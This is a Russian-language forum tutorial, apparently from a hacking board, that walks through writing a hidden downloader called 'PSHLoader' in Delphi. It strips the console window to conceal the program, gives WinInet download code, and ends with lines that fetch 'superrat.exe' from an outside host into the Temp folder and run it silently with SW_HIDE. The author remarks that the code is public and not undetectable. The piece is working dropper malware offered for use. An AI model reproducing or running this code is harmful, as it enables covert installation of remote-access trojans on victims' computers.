Шаги будут обозначатся так - #1/2/3..ect
#1 Создаем новый проект в Delphi
#2 Сразу удаляем
тем самым делаем приложение полностью скрытым.
#3 Верхняя часть кода:
#4 Процедура скачивания файла (паблик и не FUD по этому собственно и решил урок сделать )
#5 Процедура получения системных папок
#6 Сам код (между begin .. end)
Автор статьи - старый Psych ©
#1 Создаем новый проект в Delphi
#2 Сразу удаляем
Код:
{$APPTYPE CONSOLE}
тем самым делаем приложение полностью скрытым.
#3 Верхняя часть кода:
Код:
program PSHLoader;
uses
WinInet,
Windows;
#4 Процедура скачивания файла (паблик и не FUD по этому собственно и решил урок сделать )
Код:
procedure DLFile(DwFile, SvFile: string);
var
Internat: pointer;
Stabkrch: pointer;
Stabbuff: pointer;
Razmer, Baitis: dword;
AutKarochi: dword;
begin
try
try
Internat:=InternetOpen(nil, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
Stabkrch:=InternetOpenUrl(Internat, PChar(DwFile), nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0);
if Stabkrch <> nil then
begin
InternetQueryDataAvailable(Stabkrch, Razmer, 0, 0);
GetMem(Stabbuff, Razmer);
try
InternetReadFile(Stabkrch, Stabbuff, Razmer, Razmer);
AutKarochi:=CreateFile(PChar(SvFile), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, $20, 0);
if AutKarochi <> INVALID_HANDLE_VALUE then
begin
WriteFile(AutKarochi, Stabbuff^, Razmer, Razmer, nil);
CloseHandle(AutKarochi);
end
finally
FreeMem(Stabbuff);
end;
end;
except
// error
Halt;
end;
finally
InternetCloseHandle(Stabkrch);
end;
InternetCloseHandle(Internat);
end;
#5 Процедура получения системных папок
Код:
function GetEnvironmentVariable(const Name: string):string;
const
BufSize = 1024;
var
Len: Integer;
Buffer: array[0..BufSize - 1] of Char;
begin
Result := '';
Len := windows.GetEnvironmentVariable(PChar(Name), @Buffer, BufSize);
if Len < BufSize then
SetString(Result, PChar(@Buffer), Len)
else
begin
SetLength(Result, Len - 1);
windows.GetEnvironmentVariable(PChar(Name), PChar(Result), Len);
end;
end;
#6 Сам код (между begin .. end)
Код:
DLFile('http://jir.space/superrat.exe', GetEnvironmentVariable('Temp')+'\'+'downloaded.exe'); // скачиваем файл
WinExec(PAnsiChar(GetEnvironmentVariable('Temp')+'\'+'downloaded.exe'), SW_HIDE); // запускаем скачанный файл
Автор статьи - старый Psych ©